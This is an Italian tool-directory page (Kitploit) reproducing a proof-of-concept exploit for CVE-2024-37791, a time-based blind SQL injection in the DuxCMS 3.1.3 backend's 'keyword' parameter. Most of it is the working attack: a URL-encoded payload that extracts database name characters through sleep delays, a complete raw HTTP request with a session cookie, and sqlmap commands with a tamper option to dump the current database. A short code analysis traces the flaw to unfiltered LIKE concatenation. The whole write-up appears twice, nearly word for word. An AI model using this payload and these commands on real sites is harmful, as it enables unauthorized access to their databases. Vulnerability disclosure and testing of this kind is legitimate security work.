Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37791 — Exploit proof-of-concept per una vulnerabilità di SQL injection blind basata sul tempo in DuxCMS3.1.3, che mira al parametro 'keyword' con richieste autenticate e integrazione con sqlmap. | Kitploit
Strumenti/GitHubGitHub/czheisenberg/cve-2024-37791
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubczheisenberg/cve-2024-37791

CVE-2024-37791

Exploit proof-of-concept per una vulnerabilità di SQL injection blind basata sul tempo in DuxCMS3.1.3, che mira al parametro 'keyword' con richieste autenticate e integrazione con sqlmap.

Vedi Repository
12 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-37791

CVE-2024-37791

Indirizzo del progetto: ****

Preparazione:

Accedi al backend - ottieni il cookie

URL della vulnerabilità:

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Parametro della vulnerabilità: keyword

payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Se l'iniezione ha successo, il ritardo è maggiore di un secondo, altrimenti nessun ritardo.

Verifica con sqlmap:

poc

È necessario avere il cookie.

root@kitploit:~
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

Nome del database attualmente in uso ottenuto con successo. Questa vulnerabilità esiste.

Codice della vulnerabilità:

Dal parametro di iniezione: keyword è possibile individuare la posizione della chiamata.

app/system/admin/SystemExtendAdmin.php

Riga: 42.

Utilizza like per il matching fuzzy e non filtra $value, quindi si introduce una vulnerabilità nella query.

Quando inserisci: and(select*from(select sleep(3))a//union//select 1)=

Come mostrato nell'immagine sopra: il parametro $value viene ottenuto dalla riga 29 $pageParams = request(); dalla richiesta request, quindi alla riga 32 viene decodificato $pageParams[$key] con urldecode() per ottenere la nostra dichiarazione SQL malevola. Non ci sono difese.

Quindi la payload viene concatenata direttamente.

Dopo l'esecuzione, la dichiarazione SQL completa è:

(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')


Iniezione SQL esiste nel backend di DuxCMS3.1.3 (iniezione time blind)

Lavoro preparatorio:

Accedi al backend - ottieni il cookie.

URL della vulnerabilità:

http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=

Parametro della vulnerabilità: keyword

payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27

Se l'iniezione ha successo, il ritardo è maggiore di un secondo, altrimenti nessun ritardo.

Autenticazione con sqlmap:

Poc.

È necessario il cookie.

root@kitploit:~
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1

Host: 127.0.0.1:8093

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=1

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment

python2 sqlmap.py -r 1.txt -p keyword -technique=T --tamper=space2comment --current-db

Il nome del database attualmente in uso è stato ottenuto con successo.

Questa vulnerabilità esiste.

Codice della vulnerabilità:

Recuperando dal parametro di iniezione: keyword si può individuare la posizione della chiamata.

App/system/admin/SystemExtendAdmin.php.

Riga 42.

C'è una vulnerabilità nella query perché usa like per il matching fuzzy e non filtra $value.

Quando inserisci: and (select*from (select sleep (3)) a//union//select 1) =

Come mostrato nell'immagine sopra: il parametro $value viene ottenuto dalla riga 29 $pageParams = request (); dalla richiesta request, e poi la riga 32 decodifica $pageParams [$key] con urldecode () per ottenere la nostra dichiarazione SQL malevola.

Non ci sono difese.

Quindi la payload viene concatenata direttamente.

Dopo l'esecuzione, la dichiarazione SQL completa è:

(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')

Scarica lo strumento